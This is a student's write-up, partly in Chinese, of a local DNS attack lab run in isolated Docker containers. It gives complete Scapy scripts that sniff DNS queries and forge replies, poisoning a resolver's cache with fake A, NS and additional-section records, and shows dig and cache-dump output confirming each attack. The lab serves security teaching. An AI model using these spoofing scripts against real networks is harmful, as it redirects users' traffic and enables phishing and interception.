Local DNS Attack Lab

57118107 任子悦

Testing the DNS Setup

dig ns.attacker32.com

```
root@1332ab07b6e1:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57235
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: eb13dba1e21618d10100000060fae66162d6cf03d4e9ca81 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Jul 23 15:55:13 UTC 2021
;; MSG SIZE  rcvd: 90
```

dig www.example.com

```
root@1332ab07b6e1:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60072
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 30300dabfcc3ec990100000060f7421164ff0a0421231715 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 1263 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Jul 20 21:37:21 UTC 2021
;; MSG SIZE  rcvd: 88
```

dig @ns.attacker32.com www.example.com

```
root@1332ab07b6e1:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54711
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 6f49a422039a9a800100000060fae6907108c322f1eeae5e (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Fri Jul 23 15:56:00 UTC 2021
;; MSG SIZE  rcvd: 88
```

Task 1: Directly Spoofing Response to User

查看端口号

```
root@VM:/# ifconfig | grep br
br-27759bd28c7b: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
br-a3854c2ae5e0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.8.0.1  netmask 255.255.255.0  broadcast 10.8.0.255
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
root@VM:/#
```

在 attacker 上编写脚本如下：

```
#!/usr/bin/env python3
from scapy.all import *
import sys

NS_NAME = "example.com"

def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=53)
        Anssec = DNSRR(rrname=pkt[DNS].qd.name, type='A', ttl=259200, rdata='1.2.3.4')
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0,qr=1,qdcount=1,ancount=1,an=Anssec)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter = "udp and src host 10.9.0.5 and dst port 53" # Set the filter
pkt=sniff(iface='br-27759bd28c7b', filter=myFilter, prn=spoof_dns)
```

在本地 dns 服务器上刷新缓存

```
[07/23/21]seed@VM:~/.../volumes$ docksh 60
root@6052a54446af:/# rndc flush
root@6052a54446af:/#
```

在 attacker 上运行脚本

在 user 上再次运行 dig www.example.com 命令

可见地址已被解析为 1.2.3.4

```
root@f6bc160b3363:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55404
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
DNS\032Question\032Record. 259200 IN    A       1.2.3.4

;; Query time: 36 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Jul 23 16:25:53 UTC 2021
;; MSG SIZE  rcvd: 68
```

Task 2: DNS Cache Poisoning Attack – Spoofing Answers

在本地 DNS 服务器 10.9.0.53 上输入命令 rndc flush 刷新缓存

在受害者机器上 dig www.example.com

在 10.9.0.53，输入 rndc dumpdb -cache，输入 cat /var/cache/bind/dump.db 查看

```
www.example.com.        691179  A       93.184.216.34
; authanswer
                        691179  RRSIG   A 8 3 86400 (
                                        20210805072803 20210715162633 21664 example.com.
                                        1hSqV77r1tKU4pZxZCxv+9D42K1NabQ1DQbI
                                        mu8tDKUvW8bmRoRazZxGCVdRdZfqSaSdL6Ta
                                        0K/xOLDCtYaoTCZ8B63nt6zDlLWbZk6g4Evo
                                        rPwAjqrD+DcjFlVxZxGINZ7Nr4F0kncWz5a0
                                        MsIgDwt0L5Pa/lE/oIQ54nfBa88= )
; glue
```

在攻击者主机 10.9.0.1 上运行脚本如下：

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='1.2.3.4') # Create an aswer record

                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1,an=Anssec) # Create a DNS object

                spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet

                send(spoofpkt)

myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-76066e2170f6', filter=myFilter, prn=spoof_dns)
```

本地 DNS 服务器上输入 rndc flush，刷新缓存；

再次在受害者机器上输入命令 dig www.example.com，得到如下结果：

```
root@1332ab07b6e1:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5703
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 91ea77436ae0315a0100000060f74faed32031f63298063e (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 3339 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Jul 20 22:35:27 UTC 2021
;; MSG SIZE  rcvd: 88
```

在 DNS 服务器上输入 rndc flush，rndc dumpdb -cache，cat /var/cache/bind/dump.db 查看

```
; authanswer
www.example.com.        863977  A       1.2.3.4
; glue
```

Task 3: Task 3: Spoofing NS Records

修改代码如下

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='1.2.3.4') # Create an aswer record

                NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')

                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1,nscount=1,an=Anssec,
  ns=NSsec) # Create a DNS object

                spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet

                send(spoofpkt)

myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-76066e2170f6', filter=myFilter, prn=spoof_dns)
```

成功对域名 www.example.com 进行污染

```
; authauthority
example.com.            777518  NS      ns.attacker32.com.
; additional
```

在受害者机器上输入命令 dig mail.example.com，对域名 mail.example.com 进行污染：

```
;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6
```

Task 4: Spoofing NS Records for Another Domain

修改脚本如下

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='1.2.3.4') # Create an aswer record

                NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')

                NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='ns.attacker32.com')

                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1,nscount=2,an=Anssec,
  ns=NSsec1/NSsec2) # Create a DNS object

                spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet

                send(spoofpkt)

myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-76066e2170f6', filter=myFilter, prn=spoof_dns)
```

输入命令 rndc dumpdb -cache 和 cat /var/cache/bind/dump.db，在导出的缓存文件中可以找到如下结果：

```
; authauthority
example.com.            777567  NS      ns.attacker32.com.
; additional
```

改变 filter 过滤规则，将过滤规则改为对源地址是 10.9.0.5，即对客户机发起攻击而不是对 DNS 服务器攻击。

```
24 myFilter = "udp and src host 10.9.0.5 and dst port 53" # Set the filter
```

运行脚本，刷新服务器缓存，查看结果如下：

```
;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
google.com.             259200  IN      NS      ns.attacker32.com.
```

Task 5: Spoofing Records in the Additional Section

修改代码如下，先尝试对本地 DNS 服务器做出攻击

```
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='1.2.3.4') # Create an aswer record

                NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')

                Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')

                Addsec2 = DNSRR(rrname='ns.example.net', type='A', ttl=259200, rdata='5.6.7.8')

                Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200, rdata='3.4.5.6')

                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1,nscount=1,arcount=3,an=Anssec, ns=NSsec,ar=Addsec1/Addsec2/Addsec3) # Create a DNS object

                spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet

                send(spoofpkt)

myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-424b09ca7879', filter=myFilter, prn=spoof_dns)
```

发现没有 additional section

```
;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 3607 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 00:19:08 UTC 2021
;; MSG SIZE  rcvd: 88
```

修改过滤规则再次向服务器发起攻击：

```
24 myFilter = "udp and src host 10.9.0.5 and dst port 53" # Set the filter
```

```
;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       1.2.3.4
ns.example.net.         259200  IN      A       5.6.7.8
www.facebook.com.       259200  IN      A       3.4.5.6
```